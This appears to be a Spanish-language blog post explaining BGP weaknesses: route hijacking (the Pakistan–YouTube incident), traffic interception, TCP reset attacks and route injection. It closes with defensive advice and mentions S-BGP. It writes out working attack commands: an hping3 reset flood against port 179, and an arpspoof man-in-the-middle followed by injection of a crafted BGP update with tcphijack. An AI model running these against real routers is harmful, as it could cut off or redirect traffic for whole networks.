BGP Attack

Realizar un ataque de denegación de servicio distribuido (DDoS) contra los DNS de una organización dejándolo inaccesible o atacar a un proveedor de DNS modificando los registros para redirigir las solicitudes a servidores ilegítimos son desde mi punto de vista dos ataques con un gran impacto. Sin embargo, debido a la antigüedad del protocolo BGP y a su funcionamiento sobre TCP es posible atacar a un sistema autónomo generando también un gran impacto, de hecho ya se dijo que Internet se podría apagar en 30 minutos debido a la fragilidad del protocolo. Vemos algunos de los ataques:
  • Realizar una denegación de servicio, es decir, un atacante podría descartar todo el tráfico de un segmento de red, por ejemplo Youtube, de tal manera que los usuarios pertenecientes al sistema autónomo atacado no puedan acceder al segmento descartado (Youtube), como pasó en Pakistan. Esto fue posible por el propio funcionamiento de BGP, ya que BGP siempre publica las rutas más específicas y en este caso Pakistan Telecom publicó una ruta más específica que Youtube, confundiendo a todos los routers de Internet y dejando inaccesible los servicios de Youtube.
  • Analizar el tráfico, para ello sería necesario hacerse con el control de uno de los routers del sistema autónomo atacado, o realizar un MITM.

  • Realizar ataques TCP Reset evitando la asociación de vecindad, aunque para ello es necesario conocer la IP y puerto origen de la asociación de vecindad:
hping3 -i eth0 -c 1000 --fast -a IP_vecino_Victima -s 57568 -R IP_Victima -p 179
  • Inyectar rutas ilegítimas en los routers BGP. Si no está debidamente protegida la asociación de vecinos en los routers BGP es posible utilizar herramientas como bgp-update-create y tcphijack para crear paquetes de Update y así inyectar las rutas que queramos en los routers BGP, vemos un ejemplo:
Realizamos un MITM:
arpspoof -i eth0 -t 1 IP_Victima IP_vecino_Victima
arpspoof -i eth0 -t IP_vecino_Victima IP_Victima

Construimos el payload, es decir el paquete Update de BGP:
./bgp-update-create --as AS_Atacado --nexthop 192.168.10.1 --destnet 192.168.15.1/24 > evilpacket

Enviamos el paquete Update al router atacado
./tcphijack -c IP_vecino_Victima -s IP_Victima -p 179 -P evilpacket

A continuación podemos ver el paquete Update, capturado con wireshark:

 
Como vemos, BGP no es inmune a los ataques ya que hereda todos los problemas de seguridad de TCP, por este mismo motivo es importante configurar adecuadamente la distribución de rutas y asociación de vecinos autenticando los mensajes, aplicando filtros, etc ya que una configuración errónea o un despiste puede tener repercusiones en toda Internet. Por el momento hay varios proyecto para asegurar las comunicaciones BGP, como el proyecto Secure BGP (S-BGP) que utiliza infraestructura PKI, esperemos que algún día sea una realidad.

Commentaires